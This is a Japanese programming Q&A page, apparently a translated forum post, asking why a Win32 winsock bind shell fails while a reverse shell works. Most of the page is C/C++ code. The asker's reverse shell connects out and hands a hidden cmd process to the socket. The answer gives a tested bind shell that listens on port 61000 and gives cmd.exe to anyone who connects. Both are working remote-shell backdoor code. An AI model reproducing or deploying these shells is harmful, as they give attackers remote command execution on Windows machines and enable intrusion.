【解決方法】createprocessを使用したWin32 winsockバインド/リバースシェル:クライアントとサーバーの違い


こんにちは、win32 winsock でバインド/リバース シェルを取得したいと考えています。

STARTF_USESTDHANDLES で CreateProcess を呼び出すと、期待どおりにリバース シェル (クライアント モード) が得られました。 ただし、同じアプローチでバインド シェル (サーバー モード) を取得できませんでした。

クライアント モード (リバース シェル) とサーバー モード (バインド シェル) の違いは何ですか? バインド シェルを取得するにはどうすればよいですか?

あなたの助けに感謝。
よろしく、

私が試したこと:

クライアント モード (リバース シェル) のコードは次のとおりです。期待どおりに動作しました。

C++
#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")

#define BUFFERLEN (1024)

int spawnShell(void *my_socket, char *my_cmd)
{
	STARTUPINFO s_info = { 0 };
	PROCESS_INFORMATION p_info;

	s_info.cb = sizeof(s_info);
	s_info.wShowWindow = SW_HIDE;
	s_info.dwFlags = STARTF_USESTDHANDLES;
	s_info.hStdInput = my_socket;
	s_info.hStdOutput = my_socket;
	s_info.hStdError = my_socket;

	CreateProcess(NULL, my_cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&s_info, &p_info);

	return 0;
}

int
main()
{
	WSADATA wsaData;
	struct sockaddr_in addr;
	SOCKET sock;

	int len;
	char data[BUFFERLEN];


	WSAStartup(MAKEWORD(2, 2), &wsaData);

	sock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);

	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	addr.sin_port = htons(22222);
	connect(sock, (SOCKADDR *)&addr, sizeof(addr));

	// send and receive test
	send(sock, "HELLO\n", 6, 0);
	len = recv(sock, data, BUFFERLEN, 0);
	data[len] = '\0';
	printf(data);

	spawnShell((void *)sock, "cmd");

	return 0;

}

サーバー モード (シェルのバインド) のコードは次のとおりです。動作しませんでした。

C++
#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")

#define BUFFERLEN (1024)

int spawnShell(void *my_socket, char *my_cmd)
{
	STARTUPINFO s_info = { 0 };
	PROCESS_INFORMATION p_info;

	s_info.cb = sizeof(s_info);
	s_info.wShowWindow = SW_HIDE;
	s_info.dwFlags = STARTF_USESTDHANDLES;
	s_info.hStdInput = my_socket;
	s_info.hStdOutput = my_socket;
	s_info.hStdError = my_socket;
	
	CreateProcess(NULL, my_cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&s_info, &p_info);

	return 0;
}

int
main()
{
	WSADATA wsaData;
	SOCKET sock0;
	struct sockaddr_in addr;
	struct sockaddr_in client;
	SOCKET sock;

	int len;
	char data[BUFFERLEN];

	WSAStartup(MAKEWORD(2, 0), &wsaData);

	sock0 = socket(AF_INET, SOCK_STREAM, 0);

	addr.sin_family = AF_INET;
	addr.sin_port = htons(11111);
	addr.sin_addr.S_un.S_addr = INADDR_ANY;

	bind(sock0, (struct sockaddr *)&addr, sizeof(addr));

	listen(sock0, 5);

	len = sizeof(client);
	sock = accept(sock0, (struct sockaddr *)&client, &len);

	// send and receive test
	send(sock, "HELLO\n", 6, 0);
	len = recv(sock, data, BUFFERLEN, 0);
	data[len] = '\0';
	printf(data);

	spawnShell((void *)sock,"cmd");

	closesocket(sock);
	WSACleanup();

	return 0;
}

解決策 1

この bindshell をテストしましたが、動作しています。 動作させるには、WSASocket と WSAAccept を使用する必要があります (CreateProcess I/O リダイレクトには、重複していないハンドルが必要です。これが、ソケットの使用が機能せず、WSASOCKET が機能する理由です)。

C
#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32.lib")

int main()
{
	SOCKET s,cs;
	WSADATA ws;
	struct sockaddr_in server,client;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
    int port = 61000;
	
	WSAStartup(MAKEWORD(2,2), &ws);
	
	s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	
	server.sin_family = AF_INET;
	server.sin_port = htons(port);
	server.sin_addr.s_addr = INADDR_ANY;
	
	bind(s, (struct sockaddr*)&server, sizeof(server));
	
	listen(s, SOMAXCONN);
	
	cs = WSAAccept(s, NULL, NULL, NULL, 0);
	
	memset(&si, 0, sizeof(si));
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESTDHANDLES;
	si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)cs;
	
	CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	
	return 0;
}

コメント

タイトルとURLをコピーしました